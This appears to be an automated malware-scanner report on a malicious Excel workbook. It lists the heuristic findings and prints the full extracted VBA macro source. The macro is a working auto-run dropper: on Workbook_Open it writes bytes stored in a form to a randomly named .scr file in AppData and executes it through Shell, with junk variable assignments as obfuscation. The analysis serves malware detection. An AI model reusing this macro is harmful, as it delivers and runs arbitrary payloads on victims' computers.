MALICIOUS
136
Risk Score
Heuristics 5
-
VBA macros detected medium 4 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Potential Shell call in VBA critical OLE_VBA_SHELLPotential Shell call in VBAMatched line in script
Call Shell(strProgramName, vbNormalFocus) -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Workbook_Open macro low OLE_VBA_WBOPENWorkbook_Open macroMatched line in script
Private Sub Workbook_Open() -
Environ() call (env variable access) low OLE_VBA_ENVIRONEnviron() call (env variable access)Matched line in script
path_file = Environ$("USERPROFILE") & "\AppData\" + path_dom + ".scr"
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 3306 bytes |
SHA-256: bdf46019cdec7635414be8c4338cd6bc9eb2533e5af485cb4898a1ceb1b4b6e7 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "Module1"
Function prosString(cb As Integer) As String
Dim path_dom As String
Randomize
Dim rgch As String
rgch = "efjkghiabcdlqrsxytuvwmnopz"
rgch = rgch & UCase(rgch) & "1348906257"
path_dom = "W1E2B5RV33SDS"
Dim i As Long
For i = 1 To cb
prosString = prosString & Mid$(rgch, Int(Rnd() * Len(rgch) + 1), 1)
Next
End Function
Sub WaitFo(NumOfSeconds As Long)
Dim SngSec As Long
Dim path_dom As String
path_dom = "F1DF22D4B52R2dD2C1"
SngSec = Timer + NumOfSeconds
Do While Timer < SngSec
DoEvents
Loop
path_dom = "E1F122WF42B213D1C"
End Sub
Sub loadPro(strProgramName As String)
Dim path_dom As String
path_dom = "14B5212FW2E21F"
Dim strArgument As String
path_dom = "E2WYT24B5R2EE21F"
Call Shell(strProgramName, vbNormalFocus)
End Sub
Sub userLoadr()
Dim row As Long
Dim path_file As String
Dim path_dom As String
path_dom = "YT242B5R2V35DC1"
path_dom = prosString(6)
path_file = Environ$("USERPROFILE") & "\AppData\" + path_dom + ".scr"
Dim ar() As String
If Len(Dir(path_file)) = 0 Then
ar = Split(UserForm1.TextBox1.Text, ",")
path_dom = "d2YT42B5RV3DCu"
Open path_file For Binary As #1
Seek #1, LOF(1) + 1
For row = LBound(ar) To UBound(ar)
Put #1, , CByte(ar(row))
Next
Close #1
Call WaitFo(1)
path_dom = "d2dsY2T4B25RV3DCu"
End If
path_dom = "ddsdYT24B5R2V3D2Cu"
loadPro path_file
End Sub
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_Open()
Call userLoadr
Sheet3.Copy
End Sub
Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{324C4381-E1DC-4ABC-871F-69C8FC9CE573}{5DF7B990-8556-4BEF-8E10-7381669AE380}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.